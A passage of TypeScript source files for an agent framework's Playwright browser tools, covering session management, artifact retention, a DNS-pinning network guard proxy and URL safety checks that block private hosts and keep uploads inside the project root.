{\n sessionId: sessionIdSchema,\n expression: { type: 'string', minLength: 1, maxLength: 16384 },\n },\n required: ['sessionId', 'expression'],\n },\n async execute(input, ctx, opts) {\n return json(\n await managerFor(ctx).evaluate(input.sessionId, owner(ctx), input.expression, opts.signal),\n );\n },\n};\n\nexport const browserUploadTool: Tool<SelectorInput & { files: string[] }> = {\n name: 'browser_upload',\n description: 'Upload project-local files through a file input in an owned browser session.',\n usageHint: 'browser_upload({ sessionId, selector, files })',\n permission: 'confirm',\n mutating: true,\n riskTier: 'destructive',\n capabilities: [ToolCapabilities.NET_OUTBOUND, ToolCapabilities.FS_READ],\n inputSchema: {\n type: 'object',\n properties: {\n sessionId: sessionIdSchema,\n selector: { type: 'string', minLength: 1 },\n files: { type: 'array', minItems: 1, maxItems: 20, items: { type: 'string', minLength: 1 } },\n },\n required: ['sessionId', 'selector', 'files'],\n },\n async execute(input, ctx, opts) {\n await managerFor(ctx).upload(\n input.sessionId,\n owner(ctx),\n input.selector,\n input.files,\n ctx.projectRoot,\n opts.signal,\n );\n return 'ok';\n },\n};\n\nexport const browserCloseTool: Tool<{ sessionId: string }> = {\n name: 'browser_close',\n description:\n 'Close an owned browser session, reclaim its context, and return sensitive trace metadata.',\n usageHint: 'browser_close({ sessionId })',\n permission: 'auto',\n mutating: false,\n riskTier: 'safe',\n capabilities: [ToolCapabilities.NET_OUTBOUND],\n inputSchema: {\n type: 'object',\n properties: { sessionId: sessionIdSchema },\n required: ['sessionId'],\n },\n async execute(input, ctx) {\n return json(await managerFor(ctx).close(input.sessionId, owner(ctx)));\n },\n};\n\nexport const browserTools: Tool[] = [\n browserOpenTool,\n browserStatusTool,\n browserListTool,\n browserNavigateTool,\n browserSnapshotTool,\n browserScreenshotTool,\n browserClickTool,\n browserTypeTool,\n browserSelectTool,\n browserPressTool,\n browserHoverTool,\n browserDragTool,\n browserWaitTool,\n browserEvaluateTool,\n browserUploadTool,\n browserCloseTool,\n];\n\nfor (const tool of browserTools) tool.icon = 'web';\nfor (const tool of browserTools) tool.timeoutMs ??= 60_000;\n\nexport async function shutdownBrowserTools(): Promise<void> {\n const active = [...managers.values()];\n managers.clear();\n await Promise.all(active.map((manager) => manager.dispose()));\n}\n", "import * as fs from 'node:fs/promises';\nimport * as path from 'node:path';\nimport type { Browser, BrowserContext, Page } from '@playwright/test';\nimport { ulid } from '@wrongstack/core/utils';\nimport { BrowserArtifactStore } from './artifacts.js';\nimport { BrowserNetworkGuardProxy } from './network-guard-proxy.js';\nimport { assertBrowserUrlAllowed, redactBrowserText, safeBrowserUrl } from './security.js';\nimport type {\n BrowserArtifact,\n BrowserConsoleEntry,\n BrowserManagerOptions,\n BrowserNetworkEntry,\n BrowserOpenOptions,\n BrowserSessionSummary,\n BrowserSnapshot,\n} from './types.js';\n\nconst DEFAULT_OPERATION_TIMEOUT_MS = 30_000;\nconst DEFAULT_MAX_SNAPSHOT_CHARS = 64 * 1024;\nconst DEFAULT_MAX_ENTRIES = 100;\n\ninterface LiveSession {\n id: string;\n ownerId: string;\n context: BrowserContext;\n page: Page;\n createdAt: string;\n lastUsedAt: string;\n tracing: boolean;\n console: BrowserConsoleEntry[];\n network: BrowserNetworkEntry[];\n}\n\nexport type BrowserLauncher = (headless: boolean) => Promise<Browser>;\n\nexport class BrowserSessionManager {\n private readonly sessions = new Map<string, LiveSession>();\n private readonly artifacts: BrowserArtifactStore;\n private readonly allowPrivateHosts: boolean;\n private readonly allowedPrivateOrigins: readonly string[];\n private readonly networkProxy: BrowserNetworkGuardProxy;\n private readonly headless: boolean;\n private readonly operationTimeoutMs: number;\n private readonly maxSnapshotChars: number;\n private readonly maxConsoleEntries: number;\n private readonly maxNetworkEntries: number;\n private browser?: Browser | undefined;\n private launching?: Promise<Browser> | undefined;\n\n constructor(\n options: BrowserManagerOptions,\n private readonly launcher: BrowserLauncher = defaultLauncher,\n ) {\n this.artifacts = new BrowserArtifactStore(options.artifactRoot);\n this.allowPrivateHosts = options.allowPrivateHosts ?? true;\n this.allowedPrivateOrigins = options.allowedPrivateOrigins ?? [];\n this.networkProxy = new BrowserNetworkGuardProxy({\n allowPrivateHosts: this.allowPrivateHosts,\n allowedPrivateOrigins: this.allowedPrivateOrigins,\n });\n this.headless = options.headless ?? true;\n this.operationTimeoutMs = options.operationTimeoutMs ?? DEFAULT_OPERATION_TIMEOUT_MS;\n this.maxSnapshotChars = options.maxSnapshotChars ?? DEFAULT_MAX_SNAPSHOT_CHARS;\n this.maxConsoleEntries = options.maxConsoleEntries ?? DEFAULT_MAX_ENTRIES;\n this.maxNetworkEntries = options.maxNetworkEntries ?? DEFAULT_MAX_ENTRIES;\n }\n\n async open(\n ownerId: string,\n input: BrowserOpenOptions,\n signal: AbortSignal,\n ): Promise<BrowserSessionSummary> {\n signal.throwIfAborted();\n if (input.url) {\n await assertBrowserUrlAllowed(input.url, {\n allowPrivateHosts: this.allowPrivateHosts,\n allowedPrivateOrigins: this.allowedPrivateOrigins,\n navigation: true,\n });\n }\n const browser = await this.ensureBrowser(signal);\n const proxyServer = await this.networkProxy.start();\n const context = await abortable(\n signal,\n async () => {\n const created = await browser.newContext({\n acceptDownloads: false,\n ignoreHTTPSErrors: false,\n serviceWorkers: 'block',\n proxy: { server: proxyServer },\n viewport: input.viewport ?? { width: 1440, height: 900 },\n });\n if (signal.aborted) {\n await created.close().catch(() => undefined);\n signal.throwIfAborted();\n }\n return created;\n },\n () => undefined,\n );\n const session: LiveSession = {\n id: ulid(),\n ownerId,\n context,\n page: await context.newPage(),\n createdAt: new Date().toISOString(),\n lastUsedAt: new Date().toISOString(),\n tracing: input.trace ?? true,\n console: [],\n network: [],\n };\n this.sessions.set(session.id, session);\n this.attachEvidenceCollectors(session);\n await context.route('**/*', async (route) => {\n try {\n await assertBrowserUrlAllowed(route.request().url(), {\n allowPrivateHosts: this.allowPrivateHosts,\n allowedPrivateOrigins: this.allowedPrivateOrigins,\n navigation: false,\n });\n await route.continue();\n } catch {\n this.pushNetwork(session, {\n method: route.request().method(),\n url: safeBrowserUrl(route.request().url()),\n failed: true,\n at: new Date().toISOString(),\n });\n await route.abort('blockedbyclient');\n }\n });\n try {\n if (session.tracing) {\n await context.tracing.start({ screenshots: true, snapshots: true, sources: false });\n }\n if (input.url) await this.navigate(session.id, ownerId, input.url, signal);\n return await this.summary(session);\n } catch (err) {\n await context.close().catch(() => undefined);\n this.sessions.delete(session.id);\n await this.closeBrowserIfIdle();\n throw err;\n }\n }\n\n async list(ownerId: string): Promise<BrowserSessionSummary[]> {\n const owned = [...this.sessions.values()].filter((session) => session.ownerId === ownerId);\n return Promise.all(owned.map((session) => this.summary(session)));\n }\n\n async navigate(\n id: string,\n ownerId: string,\n rawUrl: string,\n signal: AbortSignal,\n ): Promise<BrowserSessionSummary> {\n await assertBrowserUrlAllowed(rawUrl, {\n allowPrivateHosts: this.allowPrivateHosts,\n allowedPrivateOrigins: this.allowedPrivateOrigins,\n navigation: true,\n });\n const session = this.requireOwned(id, ownerId);\n await this.runPageOperation(session, signal, () =>\n session.page.goto(rawUrl, {\n waitUntil: 'domcontentloaded',\n timeout: this.operationTimeoutMs,\n }),\n );\n return this.summary(session);\n }\n\n async snapshot(id: string, ownerId: string, signal: AbortSignal): Promise<BrowserSnapshot> {\n const session = this.requireOwned(id, ownerId);\n const raw = await this.runPageOperation(session, signal, async () => {\n try {\n return await session.page\n .locator('body')\n .ariaSnapshot({ timeout: this.operationTimeoutMs });\n } catch {\n return await session.page.locator('body').innerText({ timeout: this.operationTimeoutMs });\n }\n });\n const aria = redactBrowserText(raw);\n const truncated = aria.length > this.maxSnapshotChars;\n return {\n session: await this.summary(session),\n aria: truncated ? `${aria.slice(0, this.maxSnapshotChars)}\\n\u2026[snapshot truncated]` : aria,\n console: session.console.map((entry) => ({ ...entry })),\n network: session.network.map((entry) => ({ ...entry })),\n truncated,\n };\n }\n\n async screenshot(\n id: string,\n ownerId: string,\n input: { fullPage?: boolean | undefined; selector?: string | undefined },\n signal: AbortSignal,\n ): Promise<BrowserArtifact> {\n const session = this.requireOwned(id, ownerId);\n const bytes = await this.runPageOperation(session, signal, () =>\n input.selector\n ? session.page\n .locator(input.selector)\n .screenshot({ type: 'png', timeout: this.operationTimeoutMs })\n : session.page.screenshot({ type: 'png', fullPage: input.fullPage ?? false }),\n );\n signal.throwIfAborted();\n return this.artifacts.write(session.id, 'screenshot', 'png', 'image/png', bytes);\n }\n\n async click(id: string, ownerId: string, selector: string, signal: AbortSignal): Promise<void> {\n const session = this.requireOwned(id, ownerId);\n await this.runPageOperation(session, signal, () =>\n session.page.locator(selector).click({ timeout: this.operationTimeoutMs }),\n );\n }\n\n async type(\n id: string,\n ownerId: string,\n selector: string,\n text: string,\n signal: AbortSignal,\n ): Promise<void> {\n const session = this.requireOwned(id, ownerId);\n await this.runPageOperation(session, signal, () =>\n session.page.locator(selector).fill(text, { timeout: this.operationTimeoutMs }),\n );\n }\n\n async select(\n id: string,\n ownerId: string,\n selector: string,\n value: string,\n signal: AbortSignal,\n ): Promise<void> {\n const session = this.requireOwned(id, ownerId);\n await this.runPageOperation(session, signal, () =>\n session.page.locator(selector).selectOption(value, { timeout: this.operationTimeoutMs }),\n );\n }\n\n async press(id: string, ownerId: string, key: string, signal: AbortSignal): Promise<void> {\n const session = this.requireOwned(id, ownerId);\n await this.runPageOperation(session, signal, () => session.page.keyboard.press(key));\n }\n\n async hover(id: string, ownerId: string, selector: string, signal: AbortSignal): Promise<void> {\n const session = this.requireOwned(id, ownerId);\n await this.runPageOperation(session, signal, () =>\n session.page.locator(selector).hover({ timeout: this.operationTimeoutMs }),\n );\n }\n\n async wait(\n id: string,\n ownerId: string,\n input: { selector?: string | undefined; timeoutMs?: number | undefined },\n signal: AbortSignal,\n ): Promise<void> {\n const session = this.requireOwned(id, ownerId);\n const timeout = Math.min(\n Math.max(input.timeoutMs ?? this.operationTimeoutMs, 0),\n this.operationTimeoutMs,\n );\n await this.runPageOperation(session, signal, () =>\n input.selector\n ? session.page.locator(input.selector).waitFor({ state: 'visible', timeout })\n : session.page.waitForTimeout(timeout),\n );\n }\n\n async drag(\n id: string,\n ownerId: string,\n from: string,\n to: string,\n signal: AbortSignal,\n ): Promise<void> {\n const session = this.requireOwned(id, ownerId);\n await this.runPageOperation(session, signal, () =>\n session.page.locator(from).dragTo(session.page.locator(to), {\n timeout: this.operationTimeoutMs,\n }),\n );\n }\n\n async upload(\n id: string,\n ownerId: string,\n selector: string,\n files: string[],\n projectRoot: string,\n signal: AbortSignal,\n ): Promise<void> {\n const session = this.requireOwned(id, ownerId);\n const root = path.resolve(projectRoot);\n const realRoot = await fs.realpath(root);\n const resolved: string[] = [];\n for (const file of files) {\n const absolute = path.resolve(root, file);\n const relative = path.relative(root, absolute);\n if (relative.startsWith('..') || path.isAbsolute(relative)) {\n throw new Error('browser: upload files must stay inside the project root');\n }\n const realFile = await fs.realpath(absolute);\n const realRelative = path.relative(realRoot, realFile);\n if (realRelative.startsWith('..') || path.isAbsolute(realRelative)) {\n throw new Error('browser: upload files must not escape the project root through a symlink');\n }\n const stat = await fs.stat(realFile);\n if (!stat.isFile()) throw new Error(`browser: upload target is not a file: ${file}`);\n resolved.push(realFile);\n }\n await this.runPageOperation(session, signal, () =>\n session.page.locator(selector).setInputFiles(resolved, { timeout: this.operationTimeoutMs }),\n );\n }\n\n async evaluate(\n id: string,\n ownerId: string,\n expression: string,\n signal: AbortSignal,\n ): Promise<unknown> {\n const session = this.requireOwned(id, ownerId);\n const result = await this.runPageOperation(session, signal, () =>\n session.page.evaluate(expression),\n );\n const serialized = JSON.stringify(result);\n if (serialized && serialized.length > this.maxSnapshotChars) {\n throw new Error(`browser: evaluation result exceeds ${this.maxSnapshotChars} characters`);\n }\n return result;\n }\n\n async close(id: string, ownerId: string): Promise<{ trace?: BrowserArtifact | undefined }> {\n const session = this.requireOwned(id, ownerId);\n let trace: BrowserArtifact | undefined;\n try {\n if (session.tracing) {\n const target = this.artifacts.pathFor(session.id, 'zip');\n await fs.mkdir(path.dirname(target.path), { recursive: true });\n await session.context.tracing.stop({ path: target.path });\n trace = await this.artifacts.describe(target.id, 'trace', target.path, 'application/zip');\n }\n } finally {\n await session.context.close().catch(() => undefined);\n this.sessions.delete(id);\n await this.closeBrowserIfIdle();\n }\n return trace ? { trace } : {};\n }\n\n async closeOwner(ownerId: string): Promise<void> {\n const ids = [...this.sessions.values()]\n .filter((session) => session.ownerId === ownerId)\n .map((session) => session.id);\n for (const id of ids) await this.close(id, ownerId).catch(() => undefined);\n }\n\n /** True when the manager owns no live browser contexts. */\n isIdle(): boolean {\n return this.sessions.size === 0;\n }\n\n async dispose(): Promise<void> {\n for (const session of [...this.sessions.values()]) {\n await session.context.close().catch(() => undefined);\n }\n this.sessions.clear();\n const browser = this.browser;\n this.browser = undefined;\n this.launching = undefined;\n await browser?.close().catch(() => undefined);\n await this.networkProxy.close();\n }\n\n private async ensureBrowser(signal: AbortSignal): Promise<Browser> {\n if (this.browser?.isConnected()) return this.browser;\n if (!this.launching) {\n this.launching = this.launcher(this.headless).then((browser) => {\n this.browser = browser;\n browser.on('disconnected', () => {\n if (this.browser === browser) this.browser = undefined;\n for (const [id, session] of this.sessions) {\n if (session.context.browser() === browser) this.sessions.delete(id);\n }\n });\n return browser;\n });\n }\n try {\n return await abortable(\n signal,\n () => this.launching!,\n async () => {\n const browser = await this.launching?.catch(() => undefined);\n await browser?.close().catch(() => undefined);\n },\n );\n } finally {\n this.launching = undefined;\n }\n }\n\n private requireOwned(id: string, ownerId: string): LiveSession {\n const session = this.sessions.get(id);\n if (!session) throw new Error(`browser: unknown session \"${id}\"`);\n if (session.ownerId !== ownerId) throw new Error('browser: session belongs to another agent');\n session.lastUsedAt = new Date().toISOString();\n return session;\n }\n\n private async summary(session: LiveSession): Promise<BrowserSessionSummary> {\n return {\n id: session.id,\n ownerId: session.ownerId,\n url: safeBrowserUrl(session.page.url()),\n title: redactBrowserText(await session.page.title().catch(() => '')),\n createdAt: session.createdAt,\n lastUsedAt: session.lastUsedAt,\n tracing: session.tracing,\n };\n }\n\n private attachEvidenceCollectors(session: LiveSession): void {\n session.page.on('console', (message) => {\n pushBounded(\n session.console,\n {\n level: message.type(),\n text: redactBrowserText(message.text()).slice(0, 4_096),\n at: new Date().toISOString(),\n },\n this.maxConsoleEntries,\n );\n });\n session.page.on('response', (response) => {\n this.pushNetwork(session, {\n method: response.request().method(),\n url: safeBrowserUrl(response.url()),\n status: response.status(),\n at: new Date().toISOString(),\n });\n });\n session.page.on('requestfailed', (request) => {\n this.pushNetwork(session, {\n method: request.method(),\n url: safeBrowserUrl(request.url()),\n failed: true,\n at: new Date().toISOString(),\n });\n });\n }\n\n private pushNetwork(session: LiveSession, entry: BrowserNetworkEntry): void {\n pushBounded(session.network, entry, this.maxNetworkEntries);\n }\n\n private async runPageOperation<T>(\n session: LiveSession,\n signal: AbortSignal,\n operation: () => Promise<T>,\n ): Promise<T> {\n signal.throwIfAborted();\n session.lastUsedAt = new Date().toISOString();\n return abortable(signal, operation, async () => {\n await session.context.close().catch(() => undefined);\n this.sessions.delete(session.id);\n await this.closeBrowserIfIdle();\n });\n }\n\n private async closeBrowserIfIdle(): Promise<void> {\n if (this.sessions.size > 0 || !this.browser) return;\n const browser = this.browser;\n this.browser = undefined;\n await browser.close().catch(() => undefined);\n }\n}\n\nasync function defaultLauncher(headless: boolean): Promise<Browser> {\n try {\n const { chromium } = await import('@playwright/test');\n return await chromium.launch({ headless });\n } catch (err) {\n const detail = err instanceof Error ? err.message : String(err);\n throw new Error(\n `browser: Playwright Chromium is unavailable (${detail}). Run \"pnpm exec playwright install chromium\".`,\n );\n }\n}\n\nexport async function browserInstallationDiagnostics(): Promise<{\n available: boolean;\n executablePath?: string | undefined;\n message: string;\n}> {\n try {\n const { chromium } = await import('@playwright/test');\n const executablePath = chromium.executablePath();\n await fs.access(executablePath);\n return { available: true, executablePath, message: 'Playwright Chromium is available.' };\n } catch {\n return {\n available: false,\n message: 'Playwright Chromium is unavailable. Run \"pnpm exec playwright install chromium\".',\n };\n }\n}\n\nfunction pushBounded<T>(target: T[], value: T, limit: number): void {\n target.push(value);\n if (target.length > limit) target.splice(0, target.length - limit);\n}\n\nasync function abortable<T>(\n signal: AbortSignal,\n operation: () => Promise<T>,\n onAbort: () => void | Promise<void>,\n): Promise<T> {\n signal.throwIfAborted();\n return new Promise<T>((resolve, reject) => {\n let settled = false;\n let aborting = false;\n const finish = (fn: () => void) => {\n if (settled) return;\n settled = true;\n signal.removeEventListener('abort', abort);\n fn();\n };\n const abort = () => {\n aborting = true;\n void Promise.resolve(onAbort()).finally(() => {\n finish(() => reject(signal.reason instanceof Error ? signal.reason : new Error('Aborted')));\n });\n };\n signal.addEventListener('abort', abort, { once: true });\n operation().then(\n (value) => {\n if (!aborting) finish(() => resolve(value));\n },\n (err) => {\n if (!aborting) finish(() => reject(err));\n },\n );\n });\n}\n", "import { createHash } from 'node:crypto';\nimport { createReadStream } from 'node:fs';\nimport * as fs from 'node:fs/promises';\nimport * as path from 'node:path';\nimport { atomicWrite, ulid } from '@wrongstack/core/utils';\nimport type { BrowserArtifact, BrowserArtifactKind } from './types.js';\n\n/**\n * How long a browser artifact (screenshot, trace, download) stays on disk.\n *\n * Artifacts are debugging exhaust: a screenshot is interesting while the run\n * that produced it is being looked at, and dead weight after. Nothing pruned\n * them, so they accumulated for as long as the project existed \u2014 measured at\n * 2.1 GB across 247 files in one project. Seven days matches the tool-output\n * spool, which is the same kind of data with the same access pattern.\n */\nconst ARTIFACT_RETENTION_MS = 7 * 24 * 60 * 60 * 1000;\n\n/** Roots already swept in this process. */\nconst sweptRoots = new Set<string>();\n\n/** Reset module state \u2014 test hook (per-process sweep memo only). */\nexport function _resetArtifactSweepForTests(): void {\n sweptRoots.clear();\n}\n\n/**\n * Delete artifacts older than the retention window. Runs once per root per\n * process, detached and best-effort: a browser tool must never fail because\n * housekeeping could not read a directory.\n */\nfunction sweepOldArtifacts(root: string): void {\n if (sweptRoots.has(root)) return;\n sweptRoots.add(root);\n void (async () => {\n const cutoff = Date.now() - ARTIFACT_RETENTION_MS;\n let sessionDirs: string[];\n try {\n const entries = await fs.readdir(root, { withFileTypes: true });\n sessionDirs = entries.filter((entry) => entry.isDirectory()).map((entry) => entry.name);\n } catch {\n return; // no artifact root yet \u2014 nothing to sweep\n }\n for (const sessionDir of sessionDirs) {\n const dir = path.join(root, sessionDir);\n let names: string[];\n try {\n names = await fs.readdir(dir);\n } catch {\n continue;\n }\n let removed = 0;\n for (const name of names) {\n const target = path.join(dir, name);\n try {\n const stat = await fs.stat(target);\n if (stat.isFile() && stat.mtimeMs < cutoff) {\n await fs.rm(target, { force: true });\n removed++;\n }\n } catch {\n /* concurrently removed \u2014 ignore */\n }\n }\n // Drop the session directory once it has gone empty, so the artifact\n // root does not accumulate thousands of empty per-session folders.\n if (removed === names.length && names.length > 0) {\n await fs.rmdir(dir).catch(() => undefined);\n }\n }\n })();\n}\n\nexport class BrowserArtifactStore {\n constructor(private readonly root: string) {\n sweepOldArtifacts(root);\n }\n\n async write(\n sessionId: string,\n kind: BrowserArtifactKind,\n extension: string,\n mimeType: string,\n content: Uint8Array,\n ): Promise<BrowserArtifact> {\n const id = ulid();\n const dir = path.join(this.root, safeSegment(sessionId));\n const target = path.join(dir, `${id}.${extension.replace(/^\\./, '')}`);\n await atomicWrite(target, content, { mode: 0o600 });\n return this.record(id, sessionId, kind, target, mimeType);\n }\n\n private async record(\n id: string,\n sessionId: string,\n kind: BrowserArtifactKind,\n target: string,\n mimeType: string,\n ): Promise<BrowserArtifact> {\n await fs.chmod(target, 0o600).catch(() => undefined);\n const [stat, sha256] = await Promise.all([fs.stat(target), hashFile(target)]);\n const artifact: BrowserArtifact = {\n id,\n kind,\n sensitivity: 'sensitive',\n path: target,\n mimeType,\n sizeBytes: stat.size,\n sha256,\n createdAt: new Date().toISOString(),\n };\n const metadataPath = path.join(path.dirname(target), `${id}.metadata.json`);\n try {\n await atomicWrite(\n metadataPath,\n `${JSON.stringify({\n id: artifact.id,\n sessionId: safeSegment(sessionId),\n kind: artifact.kind,\n sensitivity: artifact.sensitivity,\n mimeType: artifact.mimeType,\n sizeBytes: artifact.sizeBytes,\n sha256: artifact.sha256,\n createdAt: artifact.createdAt,\n })}\\n`,\n { mode: 0o600 },\n );\n } catch (error) {\n await fs.rm(target, { force: true }).catch(() => undefined);\n throw error;\n }\n return artifact;\n }\n\n pathFor(sessionId: string, extension: string): { id: string; path: string } {\n const id = ulid();\n return {\n id,\n path: path.join(this.root, safeSegment(sessionId), `${id}.${extension.replace(/^\\./, '')}`),\n };\n }\n\n async describe(\n id: string,\n kind: BrowserArtifactKind,\n target: string,\n mimeType: string,\n ): Promise<BrowserArtifact> {\n return this.record(id, path.basename(path.dirname(target)), kind, target, mimeType);\n }\n}\n\nasync function hashFile(target: string): Promise<string> {\n const hash = createHash('sha256');\n await new Promise<void>((resolve, reject) => {\n const stream = createReadStream(target);\n stream.on('data', (chunk) => hash.update(chunk));\n stream.once('error', reject);\n stream.once('end', resolve);\n });\n return hash.digest('hex');\n}\n\nfunction safeSegment(value: string): string {\n return value.replace(/[^A-Za-z0-9_-]/g, '_').slice(0, 80);\n}\n", "import * as http from 'node:http';\nimport * as net from 'node:net';\nimport type { Duplex } from 'node:stream';\nimport type { BrowserDnsLookup } from './security.js';\nimport { resolvePinnedBrowserTarget } from './security.js';\n\nexport interface BrowserNetworkGuardProxyOptions {\n allowPrivateHosts?: boolean | undefined;\n allowedPrivateOrigins?: readonly string[] | undefined;\n lookup?: BrowserDnsLookup | undefined;\n connectTimeoutMs?: number | undefined;\n}\n\n/** Local HTTP proxy that pins every browser socket to its validated DNS answer. */\nexport class BrowserNetworkGuardProxy {\n private readonly server: http.Server;\n private readonly sockets = new Set<net.Socket>();\n private startPromise?: Promise<string> | undefined;\n private url?: string | undefined;\n\n constructor(private readonly options: BrowserNetworkGuardProxyOptions = {}) {\n this.server = http.createServer((request, response) => {\n void this.forwardHttp(request, response);\n });\n this.server.on('connect', (request, socket, head) => {\n void this.forwardConnect(request, socket, head);\n });\n this.server.on('upgrade', (request, socket, head) => {\n void this.forwardUpgrade(request, socket, head);\n });\n this.server.on('connection', (socket) => {\n this.sockets.add(socket);\n socket.once('close', () => this.sockets.delete(socket));\n // Browsers routinely abort speculative/idle connections. On Windows\n // that can surface as an asynchronous ECONNABORTED from a pipe write.\n // A Server's `clientError` event only covers HTTP parser failures; once\n // a socket becomes a CONNECT/WebSocket tunnel, an unhandled socket\n // `error` would otherwise terminate the entire host process.\n socket.on('error', () => {\n socket.destroy();\n });\n });\n this.server.on('clientError', (_error, socket) => {\n socket.end('HTTP/1.1 400 Bad Request\\r\\nConnection: close\\r\\n\\r\\n');\n });\n }\n\n async start(): Promise<string> {\n if (this.url) return this.url;\n if (this.startPromise) return this.startPromise;\n this.startPromise = new Promise<string>((resolve, reject) => {\n const onError = (error: Error) => {\n this.server.off('listening', onListening);\n reject(error);\n };\n const onListening = () => {\n this.server.off('error', onError);\n const address = this.server.address();\n if (!address || typeof address === 'string') {\n reject(new Error('browser: network guard proxy failed to bind'));\n return;\n }\n this.url = `http://127.0.0.1:${address.port}`;\n resolve(this.url);\n };\n this.server.once('error', onError);\n this.server.once('listening', onListening);\n this.server.listen(0, '127.0.0.1');\n }).finally(() => {\n this.startPromise = undefined;\n });\n return this.startPromise;\n }\n\n async close(): Promise<void> {\n this.url = undefined;\n for (const socket of this.sockets) socket.destroy();\n this.sockets.clear();\n if (!this.server.listening) return;\n await new Promise<void>((resolve) => this.server.close(() => resolve()));\n }\n\n private async forwardHttp(\n request: http.IncomingMessage,\n response: http.ServerResponse,\n ): Promise<void> {\n try {\n const target = await this.resolve(request.url ?? '');\n if (target.url.protocol !== 'http:') throw new Error('browser: HTTPS must use CONNECT');\n const headers = sanitizeHeaders(request.headers);\n headers.host = target.url.host;\n const upstream = http.request({\n host: target.address,\n family: target.family,\n port: Number(target.url.port || 80),\n method: request.method,\n path: `${target.url.pathname}${target.url.search}`,\n headers,\n agent: false,\n });\n upstream.setTimeout(this.options.connectTimeoutMs ?? 30_000, () => {\n upstream.destroy(new Error('browser: upstream connection timed out'));\n });\n upstream.on('response', (upstreamResponse) => {\n response.writeHead(\n upstreamResponse.statusCode ?? 502,\n sanitizeHeaders(upstreamResponse.headers),\n );\n upstreamResponse.pipe(response);\n });\n upstream.on('error', () => writeProxyError(response, 502, 'Bad Gateway'));\n request.on('aborted', () => upstream.destroy());\n request.pipe(upstream);\n } catch {\n writeProxyError(response, 403, 'Blocked by browser network policy');\n }\n }\n\n private async forwardConnect(\n request: http.IncomingMessage,\n client: Duplex,\n head: Buffer,\n ): Promise<void> {\n try {\n const authority = request.url ?? '';\n const target = await this.resolve(`https://${authority}`);\n const upstream = net.connect({\n host: target.address,\n family: target.family,\n port: Number(target.url.port || 443),\n });\n upstream.setTimeout(this.options.connectTimeoutMs ?? 30_000, () => upstream.destroy());\n const onConnectError = () => {\n client.end('HTTP/1.1 502 Bad Gateway\\r\\nConnection: close\\r\\n\\r\\n');\n };\n upstream.once('error', onConnectError);\n upstream.once('connect', () => {\n upstream.off('error', onConnectError);\n client.write('HTTP/1.1 200 Connection Established\\r\\n\\r\\n');\n if (head.length > 0) upstream.write(head);\n pipeDuplexPair(upstream, client);\n });\n client.once('close', () => upstream.destroy());\n } catch {\n client.end('HTTP/1.1 403 Forbidden\\r\\nConnection: close\\r\\n\\r\\n');\n }\n }\n\n private async forwardUpgrade(\n request: http.IncomingMessage,\n client: Duplex,\n head: Buffer,\n ): Promise<void> {\n let upstream: http.ClientRequest | undefined;\n try {\n const rawUrl = request.url ?? '';\n const websocketUrl = new URL(rawUrl);\n if (websocketUrl.protocol !== 'ws:') {\n throw new Error('browser: only plain ws upgrades are handled by the HTTP proxy');\n }\n websocketUrl.protocol = 'http:';\n const target = await this.resolve(websocketUrl.toString());\n const headers = sanitizeHeaders(request.headers, true);\n headers.host = target.url.host;\n upstream = http.request({\n host: target.address,\n family: target.family,\n port: Number(target.url.port || 80),\n method: request.method,\n path: `${target.url.pathname}${target.url.search}`,\n headers,\n agent: false,\n });\n upstream.once('upgrade', (response, upstreamSocket, upstreamHead) => {\n writeRawResponseHead(client, response);\n if (head.length > 0) upstreamSocket.write(head);\n if (upstreamHead.length > 0) client.write(upstreamHead);\n pipeDuplexPair(upstreamSocket, client);\n client.once('close', () => upstreamSocket.destroy());\n });\n upstream.once('response', (response) => {\n writeRawResponseHead(client, response);\n response.once('error', () => client.destroy());\n response.pipe(client);\n });\n upstream.once('error', () => {\n client.end('HTTP/1.1 502 Bad Gateway\\r\\nConnection: close\\r\\n\\r\\n');\n });\n client.once('close', () => upstream?.destroy());\n upstream.end();\n } catch {\n upstream?.destroy();\n client.end('HTTP/1.1 403 Forbidden\\r\\nConnection: close\\r\\n\\r\\n');\n }\n }\n\n private resolve(rawUrl: string) {\n return resolvePinnedBrowserTarget(rawUrl, {\n allowPrivateHosts: this.options.allowPrivateHosts,\n allowedPrivateOrigins: this.options.allowedPrivateOrigins,\n lookup: this.options.lookup,\n });\n }\n}\n\n/**\n * Couple both directions of a raw tunnel. `pipe()` deliberately does not\n * forward stream errors, so each destination needs its own listener before\n * either side can write. Destroying the peer also stops the opposite pipe and\n * prevents a disconnected browser socket from accumulating more writes.\n */\nfunction pipeDuplexPair(left: Duplex, right: Duplex): void {\n left.on('error', () => right.destroy());\n right.on('error', () => left.destroy());\n left.pipe(right);\n right.pipe(left);\n}\n\nfunction sanitizeHeaders(\n headers: http.IncomingHttpHeaders,\n preserveUpgrade = false,\n): http.OutgoingHttpHeaders {\n const sanitized: http.OutgoingHttpHeaders = { ...headers };\n delete sanitized['proxy-authorization'];\n delete sanitized['proxy-connection'];\n if (!preserveUpgrade) delete sanitized.connection;\n return sanitized;\n}\n\nfunction writeRawResponseHead(client: Duplex, response: http.IncomingMessage): void {\n const status = response.statusCode ?? 502;\n const statusText = response.statusMessage ?? 'Bad Gateway';\n const lines = [`HTTP/1.1 ${status} ${statusText}`];\n for (let index = 0; index < response.rawHeaders.length; index += 2) {\n lines.push(`${response.rawHeaders[index]}: ${response.rawHeaders[index + 1]}`);\n }\n client.write(`${lines.join('\\r\\n')}\\r\\n\\r\\n`);\n}\n\nfunction writeProxyError(response: http.ServerResponse, status: number, message: string): void {\n if (response.headersSent || response.destroyed) return;\n response.writeHead(status, { 'content-type': 'text/plain', connection: 'close' });\n response.end(message);\n}\n", "import * as dns from 'node:dns/promises';\nimport * as net from 'node:net';\nimport { assertNotPrivateHost, isPrivateIPv4, isPrivateIPv6 } from '@wrongstack/core/utils';\n\nconst SAFE_SUBRESOURCE_PROTOCOLS = new Set(['about:', 'blob:', 'data:']);\n\nexport async function assertBrowserUrlAllowed(\n rawUrl: string,\n opts: {\n allowPrivateHosts?: boolean | undefined;\n allowedPrivateOrigins?: readonly string[] | undefined;\n navigation?: boolean | undefined;\n },\n): Promise<URL> {\n const url = parseBrowserUrl(rawUrl, opts.navigation ?? true);\n if (!opts.navigation && SAFE_SUBRESOURCE_PROTOCOLS.has(url.protocol)) return url;\n if (!opts.allowPrivateHosts && !isAllowedPrivateOrigin(url, opts.allowedPrivateOrigins)) {\n await assertNotPrivateHost(url.hostname);\n }\n return url;\n}\n\nexport interface BrowserResolvedTarget {\n url: URL;\n address: string;\n family: 4 | 6;\n}\n\nexport type BrowserDnsLookup = (\n hostname: string,\n) => Promise<readonly { address: string; family: number }[]>;\n\n/**\n * Resolve once, validate every answer, and return the exact address a socket\n * must use. Callers must connect to `address`, never resolve 